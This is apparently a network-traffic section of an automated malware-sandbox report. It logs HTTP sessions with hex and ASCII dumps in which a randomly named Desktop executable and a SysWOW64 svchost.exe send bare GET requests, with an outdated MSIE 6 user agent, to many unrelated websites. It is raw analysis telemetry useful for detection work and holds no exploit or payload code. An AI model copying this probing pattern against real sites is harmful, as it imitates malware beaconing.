2023-03-10 06:56:14 UTC	261	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-03-10 06:56:14 UTC	261	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.6	64917	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:29 UTC	2381	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: sigtoa.com
2023-03-10 06:56:29 UTC	2382	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ml1YeOB8yr1E5i7CqwEW2PLZgRPwKeqiuGTxvoRt8cz0VSWdV%2FQuTPTv4rxbHkauFy7VGlOsFpl40IKuJZUfS9063aPNB%2FhHPRHurY5LOIGgi9PjkPwF8WsMvFf6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a87afd67bb4f-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:29 UTC	2383	IN	Data Raw: 31 65 62 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 1ebc<!DOCTYPE html><html lang="en-US"><head> <title>Just a moment...</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="robots" content="noindex
2023-03-10 06:56:29 UTC	2383	IN	Data Raw: 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 63 6c 61 73 Data Ascii: ,initial-scale=1"> <link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"> </head><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="zone-name-title h1"> <img clas
2023-03-10 06:56:29 UTC	2385	IN	Data Raw: 22 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 68 76 30 34 79 73 6e 63 68 63 5f 4a 57 45 33 37 41 58 42 75 58 59 62 55 39 41 48 58 77 37 43 71 6c 30 59 34 44 42 55 38 37 70 67 2d 31 36 37 38 34 33 31 33 38 39 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 20 65 6e 63 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6d 64 22 20 76 61 6c 75 65 3d 22 4b 5a 5a 38 74 74 35 4a 68 4e 34 36 4c 63 42 35 45 38 4b 43 64 4f 44 43 58 4c 33 38 4d 5f 53 73 31 75 64 47 4c 4a 71 35 6a 50 63 2d 31 36 37 38 34 33 31 33 38 39 2d 30 2d 41 53 Data Ascii: "/?__cf_chl_f_tk=hv04ysnchc_JWE37AXBuXYbU9AHXw7Cql0Y4DBU87pg-1678431389-0-gaNycGzNCRA" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="md" value="KZZ8tt5JhN46LcB5E8KCdODCXL38M_Ss1udGLJq5jPc-1678431389-0-AS
2023-03-10 06:56:29 UTC	2386	IN	Data Raw: 5a 76 38 5f 58 4c 6d 42 73 65 35 62 34 72 72 50 54 6d 71 43 66 4d 31 77 64 6c 42 4d 38 4f 4f 63 4d 6a 78 42 4a 55 53 31 37 46 42 76 77 30 41 78 59 2d 59 71 73 62 50 41 41 45 56 32 47 76 4e 49 53 6c 56 43 63 72 42 77 6d 4a 45 58 6d 34 35 53 7a 74 64 64 71 74 2d 70 61 39 71 63 67 59 6d 33 5a 4c 6e 72 4c 63 76 6b 33 36 58 4a 61 35 62 6c 6c 35 6e 6f 79 73 76 6b 61 56 70 59 44 66 65 34 5a 31 47 42 4f 47 59 64 63 39 52 35 6e 57 74 74 67 35 45 62 61 32 52 68 57 78 76 43 4f 62 72 7a 6f 4f 73 77 4f 58 47 43 78 62 5a 53 6c 53 6a 33 37 62 6c 55 54 65 76 38 6f 6e 4a 78 34 6c 55 6d 75 4b 4d 6a 73 79 56 37 37 59 77 48 47 36 61 32 55 43 53 4f 62 6f 67 65 78 6e 53 46 6f 77 7a 36 37 63 79 51 44 59 61 39 43 59 58 7a 2d 30 6b 53 77 74 50 6b 55 58 48 68 33 2d 76 31 62 55 79 Data Ascii: Zv8_XLmBse5b4rrPTmqCfM1wdlBM8OOcMjxBJUS17FBvw0AxY-YqsbPAAEV2GvNISlVCcrBwmJEXm45Sztddqt-pa9qcgYm3ZLnrLcvk36XJa5bll5noysvkaVpYDfe4Z1GBOGYdc9R5nWttg5Eba2RhWxvCObrzoOswOXGCxbZSlSj37blUTev8onJx4lUmuKMjsyV77YwHG6a2UCSObogexnSFowz67cyQDYa9CYXz-0kSwtPkUXHh3-v1bUy
2023-03-10 06:56:29 UTC	2387	IN	Data Raw: 61 79 3a 20 27 37 61 35 39 61 38 37 61 66 64 36 37 62 62 34 66 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 48 61 73 68 3a 20 27 36 62 66 31 36 62 63 62 63 35 63 33 35 31 61 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 68 76 30 34 79 73 6e 63 68 63 5f 4a 57 45 33 37 41 58 42 75 58 59 62 55 39 41 48 58 77 37 43 71 6c 30 59 34 44 42 55 38 37 70 67 2d 31 36 37 38 34 33 31 33 38 39 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 46 50 57 76 3a 20 27 67 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 54 69 6d 65 4d 73 3a 20 27 31 30 30 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 4d 54 69 6d 65 4d 73 3a 20 27 30 27 2c 0a 20 20 20 20 Data Ascii: ay: '7a59a87afd67bb4f', cHash: '6bf16bcbc5c351a', cUPMDTk: "\/?__cf_chl_tk=hv04ysnchc_JWE37AXBuXYbU9AHXw7Cql0Y4DBU87pg-1678431389-0-gaNycGzNCRA", cFPWv: 'g', cTTimeMs: '1000', cMTimeMs: '0',
2023-03-10 06:56:29 UTC	2389	IN	Data Raw: 7a 54 49 31 33 69 59 73 74 73 58 51 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 32 3a 20 27 4f 75 49 70 70 73 6d 6d 47 48 37 31 68 76 53 57 62 55 34 72 70 67 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7a 68 3a 20 27 64 4c 68 39 34 5a 58 4c 73 4d 61 54 6f 47 44 33 2f 71 39 42 69 75 6d 61 63 36 79 78 51 56 55 5a 34 63 32 6a 74 34 59 4a 6e 61 55 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 68 3a 20 27 66 78 75 35 2f 69 51 76 50 2f 7a 6e 41 4c 39 38 63 46 50 70 7a 30 44 6a 72 6d 45 33 6f 34 34 57 4d 64 5a 72 36 61 5a 51 52 73 51 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 3a 20 27 6a 57 32 78 52 42 73 71 57 31 76 4c 74 75 42 6f 6f 58 39 61 4b 6d 45 44 32 63 5a 68 41 4c 37 73 6b Data Ascii: zTI13iYstsXQ==', i2: 'OuIppsmmGH71hvSWbU4rpg==', zh: 'dLh94ZXLsMaToGD3/q9Biumac6yxQVUZ4c2jt4YJnaU=', uh: 'fxu5/iQvP/znAL98cFPpz0DjrmE3o44WMdZr6aZQRsQ=', hh: 'jW2xRBsqW1vLtuBooX9aKmED2cZhAL7sk
2023-03-10 06:56:29 UTC	2390	IN	Data Raw: 55 48 61 73 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 70 6f 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 6f 67 55 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 70 6f 29 3b 0a 20 20 20 20 7d 28 29 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 69 6e 66 Data Ascii: UHash); cpo.onload = function() { history.replaceState(null, null, ogU); }; } document.getElementsByTagName('head')[0].appendChild(cpo); }());</script> <div class="footer" role="contentinf
2023-03-10 06:56:29 UTC	2391	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.6	65014	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:29 UTC	2399	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:30 UTC	2400	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:30 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:30 UTC	2400	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.6	64574	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:29 UTC	2400	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.6	65071	172.67.156.49	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:30 UTC	2401	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com Cookie: django_language=en
2023-03-10 06:56:30 UTC	2487	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 10 Mar 2023 06:56:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Fri, 10 Mar 2023 06:46:34 GMT Content-Language: en Last-Modified: Fri, 10 Mar 2023 06:46:34 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0fx9gXptUm3rtKlEA43WK%2F%2B8Du87HomDAnxE%2BPY8Q8TLxHCxW3F2bfCyt8tyLMoQk1IvXq39WpQBBRszsKlTPy76J8LAc62wIcftpxsUKAYSiyziFPW9igq4c578Ezj4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a87c09ca915c-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:30 UTC	2488	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-03-10 06:56:30 UTC	2488	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.6	65131	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:30 UTC	2401	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-03-10 06:56:30 UTC	2402	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 10 Mar 2023 06:56:30 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:30 UTC	2402	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.6	65156	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:30 UTC	2401	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-03-10 06:56:30 UTC	2402	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:30 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Thu, 02 Mar 2023 15:05:19 GMT Accept-Ranges: bytes Content-Length: 51841 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-03-10 06:56:30 UTC	2435	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-03-10 06:56:30 UTC	2451	IN	Data Raw: 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 Data Ascii: Verschliemaschinen </a> </li> <li class="nav-item layout-0 "> <a href="/verschlie
2023-03-10 06:56:30 UTC	2467	IN	Data Raw: 66 72 61 6d 65 2d 6c 61 79 6f 75 74 2d 30 20 20 20 6d 74 2d 30 20 6d 62 2d 30 0a 20 20 20 20 0a 0a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 6c 2d 33 20 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 20 63 6f 6c 2d 31 32 20 6d 79 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 72 76 69 63 65 62 6f 78 20 68 2d 31 30 30 20 62 67 2d 6c 69 67 68 74 2d 67 72 65 79 20 64 2d 66 6c 65 78 20 66 6c 65 78 2d 63 6f 6c 75 6d 6e 20 68 2d 31 30 30 20 77 2d 31 30 30 20 70 2d 33 20 22 3e 0a Data Ascii: frame-layout-0 mt-0 mb-0 "> <div class="row"> <div class="col-xl-3 col-lg-6 col-md-6 col-sm-12 col-12 my-4"> <div class="servicebox h-100 bg-light-grey d-flex flex-column h-100 w-100 p-3 ">
2023-03-10 06:56:30 UTC	2483	IN	Data Raw: 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 6d 79 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 78 2d 30 20 6d 78 2d 6d 64 2d 35 20 6d 79 2d 32 20 6d 79 2d 6d 64 2d 30 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4c 69 73 74 49 74 65 6d 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 Data Ascii: justify-content-center my-3"> <li class="mx-0 mx-md-5 my-2 my-md-0" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" aria-current="page"> <a hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.6	65109	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:30 UTC	2401	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-03-10 06:56:30 UTC	2488	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Mar 2023 06:57:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-03-10 06:56:30 UTC	2488	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-03-10 06:56:30 UTC	2504	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 20 20 2d 2d 0d 0a 32 30 30 30 0d 0a 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 20 61 6b 74 75 61 6c Data Ascii: </div> </div> </article> </section> </section></div>... 